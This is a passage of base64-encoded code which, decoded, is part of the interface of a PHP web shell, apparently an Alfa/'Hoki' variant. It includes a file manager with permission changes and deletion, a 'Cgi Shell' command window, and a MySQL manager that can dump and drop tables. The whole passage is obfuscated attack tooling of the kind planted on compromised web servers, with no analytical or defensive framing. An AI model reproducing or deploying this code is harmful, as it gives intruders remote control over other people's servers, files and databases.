ZGVyLXRleHQnPkhpc3Rvcnk8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3Itc2VhcmNoJz48aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgaWQ9J3NlYXJjaC1pbnB1dCcgcGxhY2Vob2xkZXI9J3NlYXJjaCc+PC9kaXY
+PC9kaXY+PGRpdiBjbGFzcz0naGlzdG9yeS1saXN0Jz48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItbW9kYWwnPjxkaXYgY2xhc3M9J2VkaXRvci1ib2R5Jz48ZGl2IGNsYXNzPSdlZGl0b3ItY29udGVudCc+PGRpdiBjbGFzcz0nZWRpdG
9yLXRhYnMnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50LWhvbGRlcic+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J3VwZGF0ZS1jb250ZW50Jz48L2Rpdj4KPGRpdiBpZD0nZGF0YWJhc2Vfd2luZ
G93LW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcImRhdGFiYXNlX3dpbmRvd1wiKTsnPjxkaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBjbGFzcz0n
bWluaW1pemVkLXRleHQnIHN0eWxlPSd0b3A6IDE1cHg7Jz5EYXRhYmFzZTwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdvcHRpb25zX3dpbmRvdy1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJvcHRpb25zX3dpbmRvd1wiKTsnPjx
kaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBzdHlsZT0ndG9wOiA0cHg7JyBjbGFzcz0nbWluaW1pemVkLXRleHQnPk9wdGlvbnM8L2Rpdj48L2Rpdj48L2Rpdj
4KPGRpdiBpZD0nZWRpdG9yLW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcImVkaXRvclwiKTsnPjxkaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBzd
HlsZT0ndG9wOiAycHg7JyBjbGFzcz0nbWluaW1pemVkLXRleHQnPkVkaXRvcjwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdjZ2lsb2FkZXItbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiY2dpbG9hZGVyXCIpOyc+PGRpdiBjbGFz
cz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IHN0eWxlPSd0b3A6IDEycHg7JyBjbGFzcz0nbWluaW1pemVkLXRleHQnPkNnaSBTaGVsbDwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl
2IGlkPSdyaWdodGNsaWNrX21lbnUnPgogIDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPScnIG5hbWU9J25ld3RhYic+PGltZyBzcmM9XCJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2
dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmdcIj4gT3BlbiBpbiBuZXcgdGFiPC9hPgogIDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPScnIG5hb
WU9J2xpbmsnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93
bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IE9wZW4gZmlsZSBkaXJlY3RseTwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBuYW1lPSdkb3dubG9hZCc+PGltZyBzcmM9XCJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmc
tY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmdcIj4gRG93bmxvYWQ8L2E+CiAgPG
EgaHJlZj0nJyBuYW1lPSd2aWV3Jz48aW1nIHNyYz1cImh0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wc
mludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiBWaWV3PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1l
PSd2aWV3X2FyY2hpdmUnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZ
yZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IFZpZXcgQXJjaGl2ZTwvYT4KICA8YSBocmVmPScnIG5hbWU9J2VkaXQnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybW
lkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IEVkaXQ8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApO
ycgb25jbGljaz0naG9raVBvcHVwQWN0aW9uKHRoaXMsIFwibW92ZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBocmVmPScnIG5hbWU9J21vdmUnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNs
aXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IE1vdmU8L2E+CiAgPGEgaHJlZj0
namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0naG9raVBvcHVwQWN0aW9uKHRoaXMsIFwiY29weVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBuYW1lPSdjb3B5Jz48aW1nIHNyYz1cImh0dHBzOi8vcG5nLnBuZ3RyZW
UuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiBDb3B5PC9hP
gogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lQb3B1cEFjdGlvbih0aGlzLCBcInJlbmFtZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0ncmVuYW1lJz48aW1nIHNyYz1cImh0dHBzOi8vcG5n
LnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiA
gUmVuYW1lPC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lQb3B1cEFjdGlvbih0aGlzLCBcIm1vZGlmeVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0nbW9kaWZ5Jz48aW1nIHNyYz1cIm
h0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3M
TU5LnBuZ1wiPiAgTW9kaWZ5PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lQb3B1cEFjdGlvbih0aGlzLCBcInBlcm1pc3Npb25cIik7JyBuYW1lPSdwZXJtaXNzaW9uJz48aW1nIHNyYz1cImh0dHBzOi8v
cG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1w
iPiBDaGFuZ2UgUGVybWlzc2lvbnM8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0naG9raVN5bmNNZW51VG9PcHQodGhpcyk7JyBwYXRoPScnIGZuYW1lPScnIG5hbWU9J2NvbXByZXNzJz48aW1nIHNyYz1cImh0dH
BzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5L
nBuZ1wiPiBDb21wcmVzczwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdob2tpU3luY01lbnVUb09wdCh0aGlzKTsnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0nZXh0cmFjdCc+PGltZyBzcmM9XCJodHRwczovL3Bu
Zy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmdcIj4
gRXh0cmFjdDwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBuYW1lPSdkZWxldGUnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZG
EtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IERlbGV0ZTwvYT4KPC9kaXY+CjxkaXYgaWQ9XCJmaWxlc21hbi10YWItZnVsbC1wYXRoXCI+PC9kaXY+C
jxkaXYgaWQ9J2FsZXJ0LWFyZWEnIGNsYXNzPSdhbGVydC1hcmVhJz48L2Rpdj4KPGRpdiBjbGFzcz0nY2wtcG9wdXAtZml4ZWQnIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KCTxkaXYgaWQ9J3Nob3J0Y3V0TWVudS1ob2xkZXInPgoJCTxkaXYgY2xh
c3M9J3BvcHVwLWhlYWQnPjwvZGl2PgoJCQk8Zm9ybSBhdXRvY29tcGxldGU9J29mZicgb25TdWJtaXQ9J3JldHVybiBmYWxzZTsnPgoJCQkJPGxhYmVsIGNsYXNzPSdvbGQtcGF0aC1sYmwnPjwvbGFiZWw+CgkJCQk8ZGl2IHN0eWxlPSdvdmVyZmx
vdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7JyBjbGFzcz0nb2xkLXBhdGgtY29udGVudCc+PC9kaXY+CgkJCQk8bGFiZWwgc3R5bGU9J21hcmdpbi10b3A6MTBweDsnIGNsYXNzPSduZXctZmlsZW
5hbWUtbGJsJz5OZXcgZmlsZSBuYW1lPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmbmFtZSc+CgkJCQk8ZGl2IGNsYXNzPSdwZXJtLXRhYmxlLWhvbGRlcic+CgkJCQkJPHRhYmxlPgoJCQkJCSAgIDx0Ym9keT4KCQkJCQkgI
CAgICA8dHI+CgkJCQkJICAgICAgICAgPHRkPjxiPk1vZGU8L2I+PC90ZD4KCQkJCQkgICAgICAgICA8dGQ+VXNlcjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPkdyb3VwPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+V29ybGQ8L3RkPgoJCQkJCSAgICAg
IDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5SZWFkPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1cicgdmFsdWU9JzQnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgo
JCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2dyJyB2YWx1ZT0nNCcgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3InIH
ZhbHVlPSc0JyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD48L3RyPgoJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+V3JpdGU8L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3V3JyB2Y
Wx1ZT0nMicgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZ3cnIHZhbHVlPScyJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICAgICA8
dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd3dycgdmFsdWU9JzInIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgIDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5FeGVjdXRlPC90ZD4KCQk
JCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1eCcgdmFsdWU9JzEnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2d4JyB2YW
x1ZT0nMScgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3gnIHZhbHVlPScxJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICA8L3RyP
goJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+UGVybWlzc2lvbjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3UnIG1heGxlbmd0aD0nMScgb25pbnB1dD0n
dGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwidVwiLCBbXCJ1XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR
5cGU9J3RleHQnIG5hbWU9J2cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwiZ1wiLCBbXCJnXCJdKTsnPjwvdGQ+CgkJCQ
kJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blc
m1zKHRoaXMudmFsdWUsIFwid1wiLCBbXCJ3XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgPC90cj4KCQkJCQkgICA8L3Rib2R5PgoJCQkJCTwvdGFibGU+CgkJCQk8L2Rpdj4KCgkJCTwvZm9ybT4KCQk8ZGl2IGNsYXNzPSdwb3B1cC1mb290Jz4KCQkJ
PGJ1dHRvbiBzdHlsZT0nYmFja2dyb3VuZDogIzJiNTIyNTsnIG5hbWU9J2FjY2VwdCcgYWN0aW9uPScnIG9uY2xpY2s9J2hva2lQb3BVcERvQWN0aW9uKHRoaXMpOyc+PC9idXR0b24+CgkJCTxidXR0b24gc3R5bGU9J2JhY2tncm91bmQ6ICM5ZTJ
jMmM7JyBvbmNsaWNrPSdkLnF1ZXJ5U2VsZWN0b3IoXCIuY2wtcG9wdXAtZml4ZWRcIikuc3R5bGUuZGlzcGxheT1cIm5vbmVcIjsnPkNhbmNlbGw8L2J1dHRvbj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4iOz8+CjxzY3JpcHQ+CmZ1bmN0aW9uIG
hva2lNeXNxbEFwaShlLHQpe3ZhciBhPXtob3N0Om15c3FsX2NhY2hlW2UuZGJfaWRdLmhvc3QsdXNlcjpteXNxbF9jYWNoZVtlLmRiX2lkXS51c2VyLHBhc3M6bXlzcWxfY2FjaGVbZS5kYl9pZF0ucGFzcyxkYjplLmRiX3RhcmdldCxkYl9pZDplL
mRiX2lkfTtpZihlLmhhc093blByb3BlcnR5KCJkYl9pbmZvIikpZm9yKHZhciBpIGluIGUuZGJfaW5mbylhW2ldPWUuZGJfaW5mb1tpXTt2YXIgbD17YTpob2tpYjY0KCJTcWxfbWFuYWdlcl9hcGkiKSxjXzpob2tpYjY0KGNfKSxob2tpMTpob2tp
YjY0KEpTT04uc3RyaW5naWZ5KGEpKX07aWYoZS5oYXNPd25Qcm9wZXJ0eSgicG9zdCIpKWZvcih2YXIgaSBpbiBlLnBvc3QuaGFzT3duUHJvcGVydHkoImhva2kyIikmJiJsb2FkX2RhdGEiIT1lLnBvc3QuaG9raTImJiJwYWdlIiE9ZS5wb3N0Lmh
va2kyJiYiZWRpdCIhPWUucG9zdC5ob2tpMiYmImRlbGV0ZSIhPWUucG9zdC5ob2tpMiYmKGQucXVlcnlTZWxlY3RvcigiIyIrZS5kYl9pZCsiIC5teXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyIC5teXNxbC1xdWVyeS1wYWdlciIpLmlubmVySFRNTD
0iIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UuZGJfaWQrIiAubXlzcWwtcXVlcnktcmVzdWx0LWhlYWRlciAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9IiIpLGUucG9zdClsW2ldPWhva2liNjQoZS5wb3N0W2ldKTt2YXIgcj0iIjtmb
3IodmFyIG8gaW4gbClyKz1vKyI9IitsW29dKyImIjtob2tpbG9hZGVyKGUuZGJfaWQsImJsb2NrIiksX0FqYXgoZC5VUkwscixmdW5jdGlvbihhKXtob2tpbG9hZGVyKGUuZGJfaWQsIm5vbmUiKSx0KGEpfSwhMCxlLmRiX2lkKX1mdW5jdGlvbiBo
b2tpTXlzcWxGaWx0ZXJUYWJsZShlLHQpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgYT0iIixpPSIiLGw9KGE9IiIsIiIpO2lmKG51bGwhPWUpYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWU
udmFsdWU7ZWxzZSBhPXQudGFyZ2V0LGk9dC5kYl9pZCxsPXQudmFsdWU7bD1uZXcgUmVnRXhwKGwsImkiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2krIiAiK2ErIiB1bCA+IGxpIikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLnF1ZXJ5U2
VsZWN0b3IoIi5teXNxbF90YWJsZXMiKTtpZihudWxsPT10KXJldHVybiExOy0xPT0odD10LmlubmVyVGV4dCkuc2VhcmNoKGwpP2Uuc3R5bGUuZGlzcGxheT0ibm9uZSI6ZS5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX0sMjAwKX1mdW5jdGlvbiBob
2tpTXlzcWxGaWx0ZXJBbGxUYWJsZShlLHQpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyBpbnB1dFtuYW1lPWZpbHRlcl9hbGxdIikudmFsdWUsbD1kLnF1ZXJ5U2Vs
ZWN0b3IoIiMiK2ErIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLHI9W10sbz1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lciIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmF
yIHQ9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9uYW1lIik7Im5vIj09dCYmci5wdXNoKGEpLG8ucHVzaChhKX0pLHIubGVuZ3RoPjApe2lmKDA9PWkubGVuZ3RoJiZ2b2lkIDA9PT10KXJldHVybiExO2hva2lNeX
NxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6clswXSxhamF4X2lkOiJteXNxbF9nZXRfYWxsX3RhYmxlcyIsZGJfaW5mbzp7ZGF0YWJhc2VzOnJ9LHBvc3Q6e2hva2kyOiJsb2FkX2FsbF90YWJsZXMiLGhva2kzOmx9fSxmdW5jdGlvbihyKXtpZigwI
T1yLmxlbmd0aCl7Zm9yKHZhciBvIGluIHI9SlNPTi5wYXJzZShyKSl7dmFyIG49byxzPWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jbHMtIituKTtob2tpTXlzcWxNYWtlVGJsTGlzdChyW29dLHMsYSxuLGwpfXZvaWQgMD09PXQ/aG9raU15c3Fs
RmlsdGVyVGFibGUobnVsbCx7ZGJfaWQ6YSx0YXJnZXQ6Ii5teXNxbC10YWJsZXMgLmxpc3RfY29udGFpbmVyIix2YWx1ZTppfSk6KGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib3BlbmVkIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXR
hYmxlcyAucGFyZW50LWV4cGFuZGVyIGltZyIpLnNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nIil9fSl9ZWxzZSBpZih2b2lkIDA9PT10KWZvcih2YXIgbiBpbiBob2tpTXlzcWxGaWx0ZXJUYWJsZShudW
xsLHtkYl9pZDphLHRhcmdldDoiLm15c3FsLXRhYmxlcyAubGlzdF9jb250YWluZXIiLHZhbHVlOml9KSxvKWhva2lNeXNxbFRhYmxlTW9kZShhLG9bbl0sImNsb3NlZCIpO2Vsc2V7dmFyIHM9IiIsYz1lLmdldEF0dHJpYnV0ZSgibW9kZSIpO2Zvc
ih2YXIgbiBpbiJvcGVuZWQiPT1jPyhlLnNldEF0dHJpYnV0ZSgibW9kZSIsImNsb3NlZCIpLHM9ImJfcGx1cy5wbmciKTooZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvcGVuZWQiKSxzPSJiX21pbnVzLnBuZyIpLG8paG9raU15c3FsVGFibGVNb2Rl
KGEsb1tuXSxjKTtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5wYXJlbnQtZXhwYW5kZXIgaW1nIikuc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvIitzfX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZU1
vZGUoZSx0LGEpe3ZhciBpPWQucXVlcnlTZWxlY3RvcigiIyIrZSsiIC5jbHMtIit0KSxsPSIiO3ZvaWQgMD09PWE/KGw9LTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImhpZGUtZGItdGFibGVzIik/ImJfbWludXMucG5nIjoiYl9wbHVzLn
BuZyIsaS5jbGFzc0xpc3QudG9nZ2xlKCJoaWRlLWRiLXRhYmxlcyIpKToib3BlbmVkIj09YT8obD0iYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QuYWRkKCJoaWRlLWRiLXRhYmxlcyIpKToobD0iYl9taW51cy5wbmciLGkuY2xhc3NMaXN0LnJlbW92Z
SgiaGlkZS1kYi10YWJsZXMiKSksZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgLmNscy0iK3QrIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS8iK2x9ZnVuY3Rpb24gaG9raU15c3FsRXhwYW5kZXIo
ZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1lLmdldEF0dHJpYnV0ZSgic3FsX2NvdW50IiksbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY2xzLSIrdCk7ImxvYWRlZCI9PWw
uZ2V0QXR0cmlidXRlKCJtb2RlIik/aG9raU15c3FsVGFibGVNb2RlKGEsdCk6aG9raU15c3FsQXBpKHtkYl9pZDphLGRiX3RhcmdldDp0LGFqYXhfaWQ6Im15c3FsX2dldF90YWJsZXMiLHBvc3Q6e2hva2kyOiJsb2FkX3RhYmxlcyIsaG9raTM6aX
19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiZob2tpTXlzcWxNYWtlVGJsTGlzdChlPUpTT04ucGFyc2UoZSksbCxhLHQsaSl9KX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZXNFdmlsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhP
WUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTsiY2hlY2tlZCI9PWk/KGk9ITEsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJub3QiKSk6KGk9ITAsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJjaGVja2VkIikpLGQu
cXVlcnlTZWxlY3RvckFsbCgiIyIrYSsiICIrdCsiIGlucHV0W25hbWU9dGJsXFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkPWl9KX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZXNEdW1wRHJvcChlKXt2YXIgdD1lLmdldEF0dHJ
pYnV0ZSgidGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPSJub25lIjsiZHVtcCI9PWUudmFsdWUmJihpPSJibG9jayIpLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiICIrdCsiIC5kdW1wLWZpbGUtaG9sZGVyIikuc3R5bGUuZGlzcG
